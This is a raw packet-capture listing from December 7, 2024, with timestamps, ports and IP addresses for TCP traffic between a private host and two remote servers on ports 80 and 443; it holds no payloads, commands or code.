Dec 7, 2024 18:26:55.401202917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.401240110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.401314020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.401349068 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.402283907 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.402333975 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.402458906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.402503014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.403445005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.403487921 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.403529882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.403563976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.404501915 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.404545069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.404736042 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.404777050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.405472040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.405512094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.405621052 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.405658960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.406583071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.406625032 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.406733990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.406779051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.407587051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.407629013 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.407923937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.407964945 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.408633947 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.408675909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.408775091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.408813000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.409740925 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.409785032 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.409981966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.410020113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.410883904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.410928965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.411046982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.411084890 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.411868095 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.411909103 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.412154913 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.412193060 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.413016081 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.413057089 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.413357019 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.413397074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.414360046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.414402008 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.414556026 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.414593935 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.415147066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.415186882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.415242910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.415280104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.489367962 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.489716053 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.489743948 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.489813089 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.489828110 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.489860058 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.489914894 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.489959955 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.490005016 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.490006924 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.490012884 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.490031004 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.490045071 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.490047932 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.490050077 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.490055084 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.492831945 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.492868900 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.492923975 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.492939949 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.492966890 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.493021965 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.493104935 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.493122101 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.493155956 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.493166924 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.526129007 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.526202917 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.526278019 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.526313066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.526452065 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.526489019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.526570082 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.526606083 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.527637005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.527674913 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.527678967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.527709961 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.528609037 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.528645039 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.528901100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.528934956 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.529342890 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.529381037 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.529531002 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.529567003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.530419111 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.530457973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.530627012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.530658960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.532020092 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.532058001 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.532221079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.532254934 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.532789946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.532825947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.532870054 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.532907963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.534204960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.534241915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.534497023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.534532070 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.535101891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.535139084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.535284996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.535320997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.536115885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.536151886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.536247969 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.536281109 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.536919117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.536952972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.537055016 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.537087917 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.537939072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.537975073 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.538140059 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.538172960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.538938046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.538970947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.539062977 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.539094925 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.540060997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.540103912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.540273905 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.540307999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.541131020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.541172028 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.541196108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.541265965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.542115927 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.542154074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.542263031 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.542299032 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.543220043 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.543258905 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.543559074 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.543595076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.544264078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.544301033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.544374943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.544405937 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.545319080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.545353889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.545543909 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.545579910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.546449900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.546487093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.546622038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.546654940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.547460079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.547499895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.547610998 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.547646046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.657553911 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.657644987 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.657737970 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.657773972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.658056021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.658246040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.658296108 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.658366919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.658405066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.659321070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.659441948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.659491062 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.660337925 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.660587072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.660638094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.661458969 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.661509037 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.661618948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.662498951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.662548065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.662663937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.663536072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.663578987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.663749933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.663789988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.664689064 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.664808035 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.664854050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.665755987 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.665884018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.665931940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.666846991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.666932106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.666995049 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.667860985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.667912960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.667958975 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.668965101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.669014931 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.669234037 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.669274092 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.669984102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.670150042 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.670197010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.671219110 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.671305895 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.671350956 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.672099113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.672141075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.672254086 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.673424959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.673468113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.673525095 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.673666954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.674525023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.674751997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.674794912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.675424099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.675609112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.675652981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.676378012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.676506996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.676547050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.677432060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.677608013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.677620888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.677642107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.678513050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.678741932 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.678782940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.679517984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.679661036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.679702044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.680628061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.680669069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.680778027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.681710958 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.681719065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.681745052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.681883097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.681919098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.682769060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.682809114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.682918072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.682957888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.683813095 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.684022903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.684067011 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.685024023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.685097933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.685147047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.685983896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.686146975 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.686187029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.687055111 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.687093019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.687345028 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.688101053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.688143015 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.688298941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.689172983 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.689212084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.689694881 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.690211058 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.690252066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.690514088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.690551996 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.691343069 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.691442966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.691484928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.718522072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.718604088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.718698025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.718738079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.718987942 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.719173908 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.719213963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.720105886 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.720320940 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.720361948 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.778520107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.778583050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.778676033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.778712988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.778973103 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.779019117 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.779231071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.779270887 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.779593945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.779633999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.780366898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.780415058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.780457973 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.780493975 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.781342030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.781476021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.781526089 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.782471895 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.782690048 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.782732964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.783473969 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.783528090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.783572912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.783826113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.784593105 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.784641981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.784840107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.784883976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.785737991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.785783052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.785865068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.785904884 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.786678076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.786715984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.786787987 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.786828995 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.787753105 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.787801981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.787877083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.787909985 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.788829088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.788872957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.788938999 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.788975954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.789869070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.789984941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.790025949 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.790939093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.791120052 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.791165113 CET	49786	80	192.168.2.7	185.215.113.206
